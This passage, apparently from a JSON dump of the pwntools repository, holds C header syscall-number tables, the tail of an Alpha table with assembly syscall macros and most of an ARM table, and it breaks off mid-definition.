__NR_sched_setaffinity\t\t395\n#define __NR_sched_getaffinity\t\t396\n#define __NR_tuxcall\t\t\t397\n#define __NR_io_setup\t\t\t398\n#define __NR_io_destroy\t\t\t399\n#define __NR_io_getevents\t\t400\n#define __NR_io_submit\t\t\t401\n#define __NR_io_cancel\t\t\t402\n#define __NR_exit_group\t\t\t405\n#define __NR_lookup_dcookie\t\t406\n#define __NR_sys_epoll_create\t\t407\n#define __NR_sys_epoll_ctl\t\t408\n#define __NR_sys_epoll_wait\t\t409\n#define __NR_remap_file_pages\t\t410\n#define __NR_set_tid_address\t\t411\n#define __NR_restart_syscall\t\t412\n#define __NR_fadvise64\t\t\t413\n#define __NR_timer_create\t\t414\n#define __NR_timer_settime\t\t415\n#define __NR_timer_gettime\t\t416\n#define __NR_timer_getoverrun\t\t417\n#define __NR_timer_delete\t\t418\n#define __NR_clock_settime\t\t419\n#define __NR_clock_gettime\t\t420\n#define __NR_clock_getres\t\t421\n#define __NR_clock_nanosleep\t\t422\n#define __NR_semtimedop\t\t\t423\n#define __NR_tgkill\t\t\t424\n#define __NR_stat64\t\t\t425\n#define __NR_lstat64\t\t\t426\n#define __NR_fstat64\t\t\t427\n#define __NR_vserver\t\t\t428\n#define __NR_mbind\t\t\t429\n#define __NR_get_mempolicy\t\t430\n#define __NR_set_mempolicy\t\t431\n#define __NR_mq_open\t\t\t432\n#define __NR_mq_unlink\t\t\t433\n#define __NR_mq_timedsend\t\t434\n#define __NR_mq_timedreceive\t\t435\n#define __NR_mq_notify\t\t\t436\n#define __NR_mq_getsetattr\t\t437\n#define __NR_waitid\t\t\t438\n#define __NR_add_key\t\t\t439\n#define __NR_request_key\t\t440\n#define __NR_keyctl\t\t\t441\n#define __NR_ioprio_set\t\t\t442\n#define __NR_ioprio_get\t\t\t443\n#define __NR_inotify_init\t\t444\n#define __NR_inotify_add_watch\t\t445\n#define __NR_inotify_rm_watch\t\t446\n#define __NR_fdatasync\t\t\t447\n#define __NR_kexec_load\t\t\t448\n#define __NR_migrate_pages\t\t449\n#define __NR_openat\t\t\t450\n#define __NR_mkdirat\t\t\t451\n#define __NR_mknodat\t\t\t452\n#define __NR_fchownat\t\t\t453\n#define __NR_futimesat\t\t\t454\n#define __NR_fstatat64\t\t\t455\n#define __NR_unlinkat\t\t\t456\n#define __NR_renameat\t\t\t457\n#define __NR_linkat\t\t\t458\n#define __NR_symlinkat\t\t\t459\n#define __NR_readlinkat\t\t\t460\n#define __NR_fchmodat\t\t\t461\n#define __NR_faccessat\t\t\t462\n#define __NR_pselect6\t\t\t463\n#define __NR_ppoll\t\t\t464\n#define __NR_unshare\t\t\t465\n#define __NR_set_robust_list\t\t466\n#define __NR_get_robust_list\t\t467\n#define __NR_splice\t\t\t468\n#define __NR_sync_file_range\t\t469\n#define __NR_tee\t\t\t470\n#define __NR_vmsplice\t\t\t471\n#define __NR_move_pages\t\t\t472\n#define __NR_getcpu\t\t\t473\n#define __NR_epoll_pwait\t\t474\n#define __NR_utimensat\t\t\t475\n#define __NR_signalfd\t\t\t476\n#define __NR_timerfd\t\t\t477\n#define __NR_eventfd\t\t\t478\n#define __NR_recvmmsg\t\t\t479\n#define __NR_fallocate\t\t\t480\n#define __NR_timerfd_create\t\t481\n#define __NR_timerfd_settime\t\t482\n#define __NR_timerfd_gettime\t\t483\n#define __NR_signalfd4\t\t\t484\n#define __NR_eventfd2\t\t\t485\n#define __NR_epoll_create1\t\t486\n#define __NR_dup3\t\t\t487\n#define __NR_pipe2\t\t\t488\n#define __NR_inotify_init1\t\t489\n#define __NR_preadv\t\t\t490\n#define __NR_pwritev\t\t\t491\n#define __NR_rt_tgsigqueueinfo\t\t492\n#define __NR_perf_event_open\t\t493\n#define __NR_fanotify_init\t\t494\n#define __NR_fanotify_mark\t\t495\n#define __NR_prlimit64\t\t\t496\n#define __NR_name_to_handle_at\t\t497\n#define __NR_open_by_handle_at\t\t498\n#define __NR_clock_adjtime\t\t499\n#define __NR_syncfs\t\t\t500\n#define __NR_setns\t\t\t501\n#define __NR_accept4\t\t\t502\n#define __NR_sendmmsg\t\t\t503\n#define __NR_process_vm_readv\t\t504\n#define __NR_process_vm_writev\t\t505\n#define __NR_kcmp\t\t\t506\n#define __NR_finit_module\t\t507\n#define __NR_sched_setattr\t\t508\n#define __NR_sched_getattr\t\t509\n#define __NR_renameat2\t\t\t510\n#define __NR_getrandom\t\t\t511\n#define __NR_memfd_create\t\t512\n#define __NR_execveat\t\t\t513\n#define __NR_seccomp\t\t\t514\n#define __NR_bpf\t\t\t515\n#define __NR_userfaultfd\t\t516\n#define __NR_membarrier\t\t\t517\n#define __NR_mlock2\t\t\t518\n#define __NR_copy_file_range\t\t519\n#define __NR_preadv2\t\t\t520\n#define __NR_pwritev2\t\t\t521\n#define __NR_statx\t\t\t522\n#define __NR_io_pgetevents\t523\n#define __NR_pkey_mprotect\t524\n#define __NR_pkey_alloc\t525\n#define __NR_pkey_free\t526\n#define __NR_rseq\t527\n#define __NR_statfs64\t528\n#define __NR_fstatfs64\t529\n#define __NR_getegid\t530\n#define __NR_geteuid\t531\n#define __NR_getppid\t532\n#define __NR_pidfd_send_signal\t534\n#define __NR_io_uring_setup\t535\n#define __NR_io_uring_enter\t536\n#define __NR_io_uring_register\t537\n#define __NR_open_tree\t538\n#define __NR_move_mount\t539\n#define __NR_fsopen\t540\n#define __NR_fsconfig\t541\n#define __NR_fsmount\t542\n#define __NR_fspick\t543\n#define __NR_pidfd_open\t544\n#define __NR_openat2\t547\n#define __NR_pidfd_getfd\t548\n\n#define syscall_weak(name,wsym,sym) \\\n.text ; \\\n.align 2 ; \\\n.weak wsym; \\\n.type wsym,@function ; \\\nwsym: ; \\\n.global sym ; \\\n.type sym,@function ; \\\nsym: ; \\\n        lda     $0, __NR_##name($31) ; \\\n        br      __unified_syscall\n\n#define syscall(name,sym) \\\n.text ; \\\n.align 2 ; \\\n.global sym ; \\\n.type sym,@function ; \\\nsym: ; \\\n        lda     $0, __NR_##name($31) ; \\\n        br      __unified_syscall\n\n"
  },
  {
    "path": "pwnlib/data/includes/generator/linux/diet/arm/syscalls.h",
    "content": "#ifndef _ARM_SYSCALL_H\n#define _ARM_SYSCALL_H 1\n\n#define __NR_OABI_SYSCALL_BASE\t0x900000\n\n#if defined(__thumb__) || defined(__ARM_EABI__)\n#define __NR_SYSCALL_BASE\t0\n#else\n#define __NR_SYSCALL_BASE\t__NR_OABI_SYSCALL_BASE\n#endif\n\n\n#define __NR_restart_syscall\t\t(__NR_SYSCALL_BASE+  0)\n#define __NR_exit\t\t\t(__NR_SYSCALL_BASE+  1)\n#define __NR_fork\t\t\t(__NR_SYSCALL_BASE+  2)\n#define __NR_read\t\t\t(__NR_SYSCALL_BASE+  3)\n#define __NR_write\t\t\t(__NR_SYSCALL_BASE+  4)\n#define __NR_open\t\t\t(__NR_SYSCALL_BASE+  5)\n#define __NR_close\t\t\t(__NR_SYSCALL_BASE+  6)\n\t\t\t\t\t/* 7 was sys_waitpid */\n#define __NR_creat\t\t\t(__NR_SYSCALL_BASE+  8)\n#define __NR_link\t\t\t(__NR_SYSCALL_BASE+  9)\n#define __NR_unlink\t\t\t(__NR_SYSCALL_BASE+ 10)\n#define __NR_execve\t\t\t(__NR_SYSCALL_BASE+ 11)\n#define __NR_chdir\t\t\t(__NR_SYSCALL_BASE+ 12)\n#define __NR_time\t\t\t(__NR_SYSCALL_BASE+ 13)\n#define __NR_mknod\t\t\t(__NR_SYSCALL_BASE+ 14)\n#define __NR_chmod\t\t\t(__NR_SYSCALL_BASE+ 15)\n#define __NR_lchown\t\t\t(__NR_SYSCALL_BASE+ 16)\n\t\t\t\t\t/* 17 was sys_break */\n\t\t\t\t\t/* 18 was sys_stat */\n#define __NR_lseek\t\t\t(__NR_SYSCALL_BASE+ 19)\n#define __NR_getpid\t\t\t(__NR_SYSCALL_BASE+ 20)\n#define __NR_mount\t\t\t(__NR_SYSCALL_BASE+ 21)\n#define __NR_umount\t\t\t(__NR_SYSCALL_BASE+ 22)\n#define __NR_setuid\t\t\t(__NR_SYSCALL_BASE+ 23)\n#define __NR_getuid\t\t\t(__NR_SYSCALL_BASE+ 24)\n#define __NR_stime\t\t\t(__NR_SYSCALL_BASE+ 25)\n#define __NR_ptrace\t\t\t(__NR_SYSCALL_BASE+ 26)\n#define __NR_alarm\t\t\t(__NR_SYSCALL_BASE+ 27)\n\t\t\t\t\t/* 28 was sys_fstat */\n#define __NR_pause\t\t\t(__NR_SYSCALL_BASE+ 29)\n#define __NR_utime\t\t\t(__NR_SYSCALL_BASE+ 30)\n\t\t\t\t\t/* 31 was sys_stty */\n\t\t\t\t\t/* 32 was sys_gtty */\n#define __NR_access\t\t\t(__NR_SYSCALL_BASE+ 33)\n#define __NR_nice\t\t\t(__NR_SYSCALL_BASE+ 34)\n\t\t\t\t\t/* 35 was sys_ftime */\n#define __NR_sync\t\t\t(__NR_SYSCALL_BASE+ 36)\n#define __NR_kill\t\t\t(__NR_SYSCALL_BASE+ 37)\n#define __NR_rename\t\t\t(__NR_SYSCALL_BASE+ 38)\n#define __NR_mkdir\t\t\t(__NR_SYSCALL_BASE+ 39)\n#define __NR_rmdir\t\t\t(__NR_SYSCALL_BASE+ 40)\n#define __NR_dup\t\t\t(__NR_SYSCALL_BASE+ 41)\n#define __NR_pipe\t\t\t(__NR_SYSCALL_BASE+ 42)\n#define __NR_times\t\t\t(__NR_SYSCALL_BASE+ 43)\n\t\t\t\t\t/* 44 was sys_prof */\n#define __NR_brk\t\t\t(__NR_SYSCALL_BASE+ 45)\n#define __NR_setgid\t\t\t(__NR_SYSCALL_BASE+ 46)\n#define __NR_getgid\t\t\t(__NR_SYSCALL_BASE+ 47)\n\t\t\t\t\t/* 48 was sys_signal */\n#define __NR_geteuid\t\t\t(__NR_SYSCALL_BASE+ 49)\n#define __NR_getegid\t\t\t(__NR_SYSCALL_BASE+ 50)\n#define __NR_acct\t\t\t(__NR_SYSCALL_BASE+ 51)\n#define __NR_umount2\t\t\t(__NR_SYSCALL_BASE+ 52)\n\t\t\t\t\t/* 53 was sys_lock */\n#define __NR_ioctl\t\t\t(__NR_SYSCALL_BASE+ 54)\n#define __NR_fcntl\t\t\t(__NR_SYSCALL_BASE+ 55)\n\t\t\t\t\t/* 56 was sys_mpx */\n#define __NR_setpgid\t\t\t(__NR_SYSCALL_BASE+ 57)\n\t\t\t\t\t/* 58 was sys_ulimit */\n\t\t\t\t\t/* 59 was sys_olduname */\n#define __NR_umask\t\t\t(__NR_SYSCALL_BASE+ 60)\n#define __NR_chroot\t\t\t(__NR_SYSCALL_BASE+ 61)\n#define __NR_ustat\t\t\t(__NR_SYSCALL_BASE+ 62)\n#define __NR_dup2\t\t\t(__NR_SYSCALL_BASE+ 63)\n#define __NR_getppid\t\t\t(__NR_SYSCALL_BASE+ 64)\n#define __NR_getpgrp\t\t\t(__NR_SYSCALL_BASE+ 65)\n#define __NR_setsid\t\t\t(__NR_SYSCALL_BASE+ 66)\n#define __NR_sigaction\t\t\t(__NR_SYSCALL_BASE+ 67)\n\t\t\t\t\t/* 68 was sys_sgetmask */\n\t\t\t\t\t/* 69 was sys_ssetmask */\n#define __NR_setreuid\t\t\t(__NR_SYSCALL_BASE+ 70)\n#define __NR_setregid\t\t\t(__NR_SYSCALL_BASE+ 71)\n#define __NR_sigsuspend\t\t\t(__NR_SYSCALL_BASE+ 72)\n#define __NR_sigpending\t\t\t(__NR_SYSCALL_BASE+ 73)\n#define __NR_sethostname\t\t(__NR_SYSCALL_BASE+ 74)\n#define __NR_setrlimit\t\t\t(__NR_SYSCALL_BASE+ 75)\n#define __NR_getrlimit\t\t\t(__NR_SYSCALL_BASE+ 76)\t/* Back compat 2GB limited rlimit */\n#define __NR_getrusage\t\t\t(__NR_SYSCALL_BASE+ 77)\n#define __NR_gettimeofday\t\t(__NR_SYSCALL_BASE+ 78)\n#define __NR_settimeofday\t\t(__NR_SYSCALL_BASE+ 79)\n#define __NR_getgroups\t\t\t(__NR_SYSCALL_BASE+ 80)\n#define __NR_setgroups\t\t\t(__NR_SYSCALL_BASE+ 81)\n#define __NR_select\t\t\t(__NR_SYSCALL_BASE+ 82)\n#define __NR_symlink\t\t\t(__NR_SYSCALL_BASE+ 83)\n\t\t\t\t\t/* 84 was sys_lstat */\n#define __NR_readlink\t\t\t(__NR_SYSCALL_BASE+ 85)\n#define __NR_uselib\t\t\t(__NR_SYSCALL_BASE+ 86)\n#define __NR_swapon\t\t\t(__NR_SYSCALL_BASE+ 87)\n#define __NR_reboot\t\t\t(__NR_SYSCALL_BASE+ 88)\n#define __NR_readdir\t\t\t(__NR_SYSCALL_BASE+ 89)\n#define __NR_mmap\t\t\t(__NR_SYSCALL_BASE+ 90)\n#define __NR_munmap\t\t\t(__NR_SYSCALL_BASE+ 91)\n#define __NR_truncate\t\t\t(__NR_SYSCALL_BASE+ 92)\n#define __NR_ftruncate\t\t\t(__NR_SYSCALL_BASE+ 93)\n#define __NR_fchmod\t\t\t(__NR_SYSCALL_BASE+ 94)\n#define __NR_fchown\t\t\t(__NR_SYSCALL_BASE+ 95)\n#define __NR_getpriority\t\t(__NR_SYSCALL_BASE+ 96)\n#define __NR_setpriority\t\t(__NR_SYSCALL_BASE+ 97)\n\t\t\t\t\t/* 98 was sys_profil */\n#define __NR_statfs\t\t\t(__NR_SYSCALL_BASE+ 99)\n#define __NR_fstatfs\t\t\t(__NR_SYSCALL_BASE+100)\n\t\t\t\t\t/* 101 was sys_ioperm */\n#define __NR_socketcall\t\t\t(__NR_SYSCALL_BASE+102)\n#define __NR_syslog\t\t\t(__NR_SYSCALL_BASE+103)\n#define __NR_setitimer\t\t\t(__NR_SYSCALL_BASE+104)\n#define __NR_getitimer\t\t\t(__NR_SYSCALL_BASE+105)\n#define __NR_stat\t\t\t(__NR_SYSCALL_BASE+106)\n#define __NR_lstat\t\t\t(__NR_SYSCALL_BASE+107)\n#define __NR_fstat\t\t\t(__NR_SYSCALL_BASE+108)\n\t\t\t\t\t/* 109 was sys_uname */\n\t\t\t\t\t/* 110 was sys_iopl */\n#define __NR_vhangup\t\t\t(__NR_SYSCALL_BASE+111)\n\t\t\t\t\t/* 112 was sys_idle */\n#define __NR_syscall\t\t\t(__NR_SYSCALL_BASE+113) /* syscall to call a syscall! */\n#define __NR_wait4\t\t\t(__NR_SYSCALL_BASE+114)\n#define __NR_swapoff\t\t\t(__NR_SYSCALL_BASE+115)\n#define __NR_sysinfo\t\t\t(__NR_SYSCALL_BASE+116)\n#define __NR_ipc\t\t\t(__NR_SYSCALL_BASE+117)\n#define __NR_fsync\t\t\t(__NR_SYSCALL_BASE+118)\n#define __NR_sigreturn\t\t\t(__NR_SYSCALL_BASE+119)\n#define __NR_clone\t\t\t(__NR_SYSCALL_BASE+120)\n#define __NR_setdomainname\t\t(__NR_SYSCALL_BASE+121)\n#define __NR_uname\t\t\t(__NR_SYSCALL_BASE+122)\n\t\t\t\t\t/* 123 was sys_modify_ldt */\n#define __NR_adjtimex\t\t\t(__NR_SYSCALL_BASE+124)\n#define __NR_mprotect\t\t\t(__NR_SYSCALL_BASE+125)\n#define __NR_sigprocmask\t\t(__NR_SYSCALL_BASE+126)\n\t\t\t\t\t/* 127 was sys_create_module */\n#define __NR_init_module\t\t(__NR_SYSCALL_BASE+128)\n#define __NR_delete_module\t\t(__NR_SYSCALL_BASE+129)\n\t\t\t\t\t/* 130 was sys_get_kernel_syms */\n#define __NR_quotactl\t\t\t(__NR_SYSCALL_BASE+131)\n#define __NR_getpgid\t\t\t(__NR_SYSCALL_BASE+132)\n#define __NR_fchdir\t\t\t(__NR_SYSCALL_BASE+133)\n#define __NR_bdflush\t\t\t(__NR_SYSCALL_BASE+134)\n#define __NR_sysfs\t\t\t(__NR_SYSCALL_BASE+135)\n#define __NR_personality\t\t(__NR_SYSCALL_BASE+136)\n\t\t\t\t\t/* 137 was sys_afs_syscall */\n#define __NR_setfsuid\t\t\t(__NR_SYSCALL_BASE+138)\n#define __NR_setfsgid\t\t\t(__NR_SYSCALL_BASE+139)\n#define __NR__llseek\t\t\t(__NR_SYSCALL_BASE+140)\n#define __NR_getdents\t\t\t(__NR_SYSCALL_BASE+141)\n#define __NR__newselect\t\t\t(__NR_SYSCALL_BASE+142)\n#define __NR_flock\t\t\t(__NR_SYSCALL_BASE+143)\n#define __NR_msync\t\t\t(__NR_SYSCALL_BASE+144)\n#define __NR_readv\t\t\t(__NR_SYSCALL_BASE+145)\n#define __NR_writev\t\t\t(__NR_SYSCALL_BASE+146)\n#define __NR_getsid\t\t\t(__NR_SYSCALL_BASE+147)\n#define __NR_fdatasync\t\t\t(__NR_SYSCALL_BASE+148)\n#define __NR__sysctl\t\t\t(__NR_SYSCALL_BASE+149)\n#define __NR_mlock\t\t\t(__NR_SYSCALL_BASE+150)\n#define __NR_munlock\t\t\t(__NR_SYSCALL_BASE+151)\n#define __NR_mlockall\t\t\t(__NR_SYSCALL_BASE+152)\n#define __NR_munlockall\t\t\t(__NR_SYSCALL_BASE+153)\n#define __NR_sched_setparam\t\t(__NR_SYSCALL_BASE+154)\n#define __NR_sched_getparam\t\t(__NR_SYSCALL_BASE+155)\n#define __NR_sched_setscheduler\t\t(__NR_SYSCALL_BASE+156)\n#define __NR_sched_getscheduler\t\t(__NR_SYSCALL_BASE+157)\n#define __NR_sched_yield\t\t(__NR_SYSCALL_BASE+158)\n#define __NR_sched_get_priority_max\t(__NR_SYSCALL_BASE+159)\n#define __NR_sched_get_priority_min\t(__NR_SYSCALL_BASE+160)\n#define __NR_sched_rr_get_interval\t(__NR_SYSCALL_BASE+161)\n#define __NR_nanosleep\t\t\t(__NR_SYSCALL_BASE+162)\n#define __NR_mremap\t\t\t(__NR_SYSCALL_BASE+163)\n#define __NR_setresuid\t\t\t(__NR_SYSCALL_BASE+164)\n#define __NR_getresuid\t\t\t(__NR_SYSCALL_BASE+165)\n\t\t\t\t\t/* 166 was sys_vm86 */\n\t\t\t\t\t/* 167 was sys_query_module */\n#define __NR_poll\t\t\t(__NR_SYSCALL_BASE+168)\n#define __NR_nfsservctl\t\t\t(__NR_SYSCALL_BASE+169)\n#define __NR_setresgid\t\t\t(__NR_SYSCALL_BASE+170)\n#define __NR_getresgid\t\t\t(__NR_SYSCALL_BASE+171)\n#define __NR_prctl\t\t\t(__NR_SYSCALL_BASE+172)\n#define __NR_rt_sigreturn\t\t(__NR_SYSCALL_BASE+173)\n#define __NR_rt_sigaction\t\t(__NR_SYSCALL_BASE+174)\n#define __NR_rt_sigprocmask\t\t(__NR_SYSCALL_BASE+175)\n#define __NR_rt_sigpending\t\t(__NR_SYSCALL_BASE+176)\n#define __NR_rt_sigtimedwait\t\t(__NR_SYSCALL_BASE+177)\n#define __NR_rt_sigqueueinfo\t\t(__NR_SYSCALL_BASE+178)\n#define __NR_rt_sigsuspend\t\t(__NR_SYSCALL_BASE+179)\n#define __NR_pread64\t\t\t(__NR_SYSCALL_BASE+180)\n#define __NR_pwrite64\t\t\t(__NR_SYSCALL_BASE+181)\n#define __NR_chown\t\t\t(__NR_SYSCALL_BASE+182)\n#define __NR_getcwd\t\t\t(__NR_SYSCALL_BASE+183)\n#define __NR_capget\t\t\t(__NR_SYSCALL_BASE+184)\n#define __NR_capset\t\t\t(__NR_SYSCALL_BASE+185)\n#define __NR_sigaltstack\t\t(__NR_SYSCALL_BASE+186)\n#define __NR_sendfile\t\t\t(__NR_SYSCALL_BASE+187)\n\t\t\t\t\t/* 188 reserved */\n\t\t\t\t\t/* 189 reserved */\n#define __NR_vfork\t\t\t(__NR_SYSCALL_BASE+190)\n#define __NR_ugetrlimit\t\t\t(__NR_SYSCALL_BASE+191)\t/* SuS compliant getrlimit */\n#define __NR_mmap2\t\t\t(__NR_SYSCALL_BASE+192)\n#define __NR_truncate64\t\t\t(__NR_SYSCALL_BASE+193)\n#define __NR_ftruncate64\t\t(__NR_SYSCALL_BASE+194)\n#define __NR_stat64\t\t\t(__NR_SYSCALL_BASE+195)\n#define __NR_lstat64\t\t\t(__NR_SYSCALL_BASE+196)\n#define __NR_fstat64\t\t\t(__NR_SYSCALL_BASE+197)\n#define __NR_lchown32\t\t\t(__NR_SYSCALL_BASE+198)\n#define __NR_getuid32\t\t\t(__NR_SYSCALL_BASE+199)\n#define __NR_getgid32\t\t\t(__NR_SYSCALL_BASE+200)\n#define __NR_geteuid32\t\t\t(__NR_SYSCALL_BASE+201)\n#define __NR_getegid32\t\t\t(__NR_SYSCALL_BASE+202)\n#define __NR_setreuid32\t\t\t(__NR_SYSCALL_BASE+203)\n#define __NR_setregid32\t\t\t(__NR_SYSCALL_BASE+204)\n#define __NR_getgroups32\t\t(__NR_SYSCALL_BASE+205)\n#define __NR_setgroups32\t\t(__NR_SYSCALL_BASE+206)\n#define __NR_fchown32\t\t\t(__NR_SYSCALL_BASE+207)\n#define __NR_setresuid32\t\t(__NR_SYSCALL_BASE+208)\n#define __NR_getresuid32\t\t(__NR_SYSCALL_BASE+209)\n#define __NR_setresgid32\t\t(__NR_SYSCALL_BASE+210)\n#define __NR_getresgid32\t\t(__NR_SYSCALL_BASE+211)\n#define __NR_chown32\t\t\t(__NR_SYSCALL_BASE+212)\n#define __NR_setuid32\t\t\t(__NR_SYSCALL_BASE+213)\n#define __NR_setgid32\t\t\t(__NR_SYSCALL_BASE+214)\n#define __NR_setfsuid32\t\t\t(__NR_SYSCALL_BASE+215)\n#define __NR_setfsgid32\t\t\t(__NR_SYSCALL_BASE+216)\n#define __NR_getdents64\t\t\t(__NR_SYSCALL_BASE+217)\n#define __NR_pivot_root\t\t\t(__NR_SYSCALL_BASE+218)\n#define __NR_mincore\t\t\t(__NR_SYSCALL_BASE+219)\n#define __NR_madvise\t\t\t(__NR_SYSCALL_BASE+220)\n#define __NR_fcntl64\t\t\t(__NR_SYSCALL_BASE+221)\n\t\t\t\t\t/* 222 for tux */\n\t\t\t\t\t/* 223 is unused */\n#define __NR_gettid\t\t\t(__NR_SYSCALL_BASE+224)\n#define __NR_readahead\t\t\t(__NR_SYSCALL_BASE+225)\n#define __NR_setxattr\t\t\t(__NR_SYSCALL_BASE+226)\n#define __NR_lsetxattr\t\t\t(__NR_SYSCALL_BASE+227)\n#define __NR_fsetxattr\t\t\t(__NR_SYSCALL_BASE+228)\n#define __NR_getxattr\t\t\t(__NR_SYSCALL_BASE+229)\n#define __NR_lgetxattr\t\t\t(__NR_SYSCALL_BASE+230)\n#define __NR_fgetxattr\t\t\t(__NR_SYSCALL_BASE+231)\n#define __NR_listxattr\t\t\t(__NR_SYSCALL_BASE+232)\n#define __NR_llistxattr\t\t\t(__NR_SYSCALL_BASE+233)\n#define __NR_flistxattr\t\t\t(__NR_SYSCALL_BASE+234)\n#define __NR_removexattr\t\t(__NR_SYSCALL_BASE+235)\n#define __NR_lremovexattr\t\t(__NR_SYSCALL_BASE+236)\n#define __NR_fremovexattr\t\t(__NR_SYSCALL_BASE+237)\n#define __NR_tkill\t\t\t(__NR_SYSCALL_BASE+238)\n#define __NR_sendfile64\t\t\t(__NR_SYSCALL_BASE+239)\n#define __NR_futex\t\t\t(__NR_SYSCALL_BASE+240)\n#define __NR_sched_setaffinity\t\t(__NR_SYSCALL_BASE+241)\n#define __NR_sched_getaffinity\t\t(__NR_SYSCALL_BASE+242)\n#define __NR_io_setup\t\t\t(__NR_SYSCALL_BASE+243)\n#define __NR_io_destroy\t\t\t(__NR_SYSCALL_BASE+244)\n#define __NR_io_getevents\t\t(__NR_SYSCALL_BASE+245)\n#define __NR_io_submit\t\t\t(__NR_SYSCALL_BASE+246)\n#define __NR_io_cancel\t\t\t(__NR_SYSCALL_BASE+247)\n#define __NR_exit_group\t\t\t(__NR_SYSCALL_BASE+248)\n#define __NR_lookup_dcookie\t\t(__NR_SYSCALL_BASE+249)\n#define __NR_epoll_create\t\t(__NR_SYSCALL_BASE+250)\n#define __NR_epoll_ctl\t\t\t(__NR_SYSCALL_BASE+251)\n#define __NR_epoll_wait\t\t\t(__NR_SYSCALL_BASE+252)\n#define __NR_remap_file_pages\t\t(__NR_SYSCALL_BASE+253)\n\t\t\t\t\t/* 254 for set_thread_area */\n\t\t\t\t\t/* 255 for get_thread_area */\n#define __NR_set_tid_address\t\t(__NR_SYSCALL_BASE+256)\n#define __NR_timer_create\t\t(__NR_SYSCALL_BASE+257)\n#define __NR_timer_settime\t\t(__NR_SYSCALL_BASE+258)\n#define __NR_timer_gettime\t\t(__NR_SYSCALL_BASE+259)\n#define __NR_timer_getoverrun\t\t(__NR_SYSCALL_BASE+260)\n#define __NR_timer_delete\t\t(__NR_SYSCALL_BASE+261)\n#define __NR_clock_settime\t\t(__NR_SYSCALL_BASE+262)\n#define __NR_clock_gettime\t\t(__NR_SYSCALL_BASE+263)\n#define __NR_clock_getres\t\t(__NR_SYSCALL_BASE+264)\n#define __NR_clock_nanosleep\t\t(__NR_SYSCALL_BASE+265)\n#define __NR_statfs64\t\t\t(__NR_SYSCALL_BASE+266)\n#define __NR_fstatfs64\t\t\t(__NR_SYSCALL_BASE+267)\n#define __NR_tgkill\t\t\t(__NR_SYSCALL_BASE+268)\n#define __NR_utimes\t\t\t(__NR_SYSCALL_BASE+269)\n#define __NR_arm_fadvise64_64\t\t(__NR_SYSCALL_BASE+270)\n#define __NR_pciconfig_iobase\t\t(__NR_SYSCALL_BASE+271)\n#define __NR_pciconfig_read\t\t(__NR_SYSCALL_BASE+272)\n#define __NR_pciconfig_write\t\t(__NR_SYSCALL_BASE+273)\n#define __NR_mq_open\t\t\t(__NR_SYSCALL_BASE+274)\n#define __NR_mq_unlink\t\t\t(__NR_SYSCALL_BASE+275)\n#define __NR_mq_timedsend\t\t(__NR_SYSCALL_BASE+276)\n#define __NR_mq_timedreceive\t\t(__NR_SYSCALL_BASE+277)\n#define __NR_mq_notify\t\t\t(__NR_SYSCALL_BASE+278)\n#define __NR_mq_getsetattr\t\t(__NR_SYSCALL_BASE+279)\n#define __NR_waitid\t\t\t(__NR_SYSCALL_BASE+280)\n#define __NR_socket\t\t\t(__NR_SYSCALL_BASE+281)\n#define __NR_bind\t\t\t(__NR_SYSCALL_BASE+282)\n#define __NR_connect\t\t\t(__NR_SYSCALL_BASE+283)\n#define __NR_listen\t\t\t(__NR_SYSCALL_BASE+284)\n#define __NR_accept\t\t\t(__NR_SYSCALL_BASE+285)\n#define __NR_getsockname\t\t(__NR_SYSCALL_BASE+286)\n#define __NR_getpeername\t\t(__NR_SYSCALL_BASE+287)\n#define __NR_socketpair\t\t\t(__NR_SYSCALL_BASE+288)\n#define __NR_send\t\t\t(__NR_SYSCALL_BASE+289)\n#define __NR_sendto\t\t\t(__NR_SYSCALL_BASE+290)\n#define __NR_recv\t\t\t(__NR_SYSCALL_BASE+291)\n#define __NR_recvfrom\t\t\t(__NR_SYSCALL_BASE+292)\n#define __NR_shutdown\t\t\t(__NR_SYSCALL_BASE+293)\n#define __NR_setsockopt\t\t\t(__NR_SYSCALL_BASE+294)\n#define __NR_getsockopt\t\t\t(__NR_SYSCALL_BASE+295)\n#define __NR_sendmsg\t\t\t(__NR_SYSCALL_BASE+296)\n#define __NR_recvmsg\t\t\t(__NR_SYSCALL_BASE+297)\n#define __NR_semop\t\t\t(__NR_SYSCALL_BASE+298)\n#define __NR_semget\t\t\t(__NR_SYSCALL_BASE+299)\n#define __NR_semctl\t\t\t(__NR_SYSCALL_BASE+300)\n#define __NR_msgsnd\t\t\t(__NR_SYSCALL_BASE+301)\n#define __NR_msgrcv\t\t\t(__NR_SYSCALL_BASE+302)\n#define __NR_msgget\t\t\t(__NR_SYSCALL_BASE+303)\n#define __NR_msgctl\t\t\t(__NR_SYSCALL_BASE+304)\n#define __NR_shmat\t\t\t(__NR_SYSCALL_BASE+305)\n#define __NR_shmdt\t\t\t(__NR_SYSCALL_BASE+306)\n#define __NR_shmget\t\t\t(__NR_SYSCALL_BASE+307)\n#define __NR_shmctl\t\t\t(__NR_SYSCALL_BASE+308)\n#define __NR_add_key\t\t\t(__NR_SYSCALL_BASE+309)\n#define __NR_request_key\t\t(__NR_SYSCALL_BASE+310)\n#define __NR_keyctl\t\t\t(__NR_SYSCALL_BASE+311)\n#define __NR_semtimedop\t\t\t(__NR_SYSCALL_BASE+312)\n#define __NR_vserver\t\t\t(__NR_SYSCALL_BASE+313)\n#define __NR_ioprio_set\t\t\t(__NR_SYSCALL_BASE+314)\n#define __NR_ioprio_get\t\t\t(__NR_SYSCALL_BASE+315)\n#define __NR_inotify_init\t\t(__NR_SYSCALL_BASE+316)\n#define __NR_inotify_add_watch\t\t(__NR_SYSCALL_BASE+317)\n#define __NR_inotify_rm_watch\t\t(__NR_SYSCALL_BASE+318)\n#define __NR_mbind\t\t\t(__NR_SYSCALL_BASE+319)\n#define __NR_get_mempolicy\t\t(__NR_SYSCALL_BASE+320)\n#define __NR_set_mempolicy\t\t(__NR_SYSCALL_BASE+321)\n#define __NR_openat\t\t\t(__NR_SYSCALL_BASE+322)\n#define __NR_mkdirat\t\t\t(__NR_SYSCALL_BASE+323)\n#define __NR_mknodat\t\t\t(__NR_SYSCALL_BASE+324)\n#define __NR_fchownat\t\t\t(__NR_SYSCALL_BASE+325)\n#define __NR_futimesat\t\t\t(__NR_SYSCALL_BASE+326)\n#define __NR_fstatat64\t\t\t(__NR_SYSCALL_BASE+327)\n#define __NR_unlinkat\t\t\t(__NR_SYSCALL_BASE+328)\n#define __NR_renameat\t\t\t(__NR_SYSCALL_BASE+329)\n#define __NR_linkat\t\t\t(__NR_SYSCALL_BASE+330)\n#define __NR_symlinkat\t\t\t(__NR_SYSCALL_BASE+331)\n#define 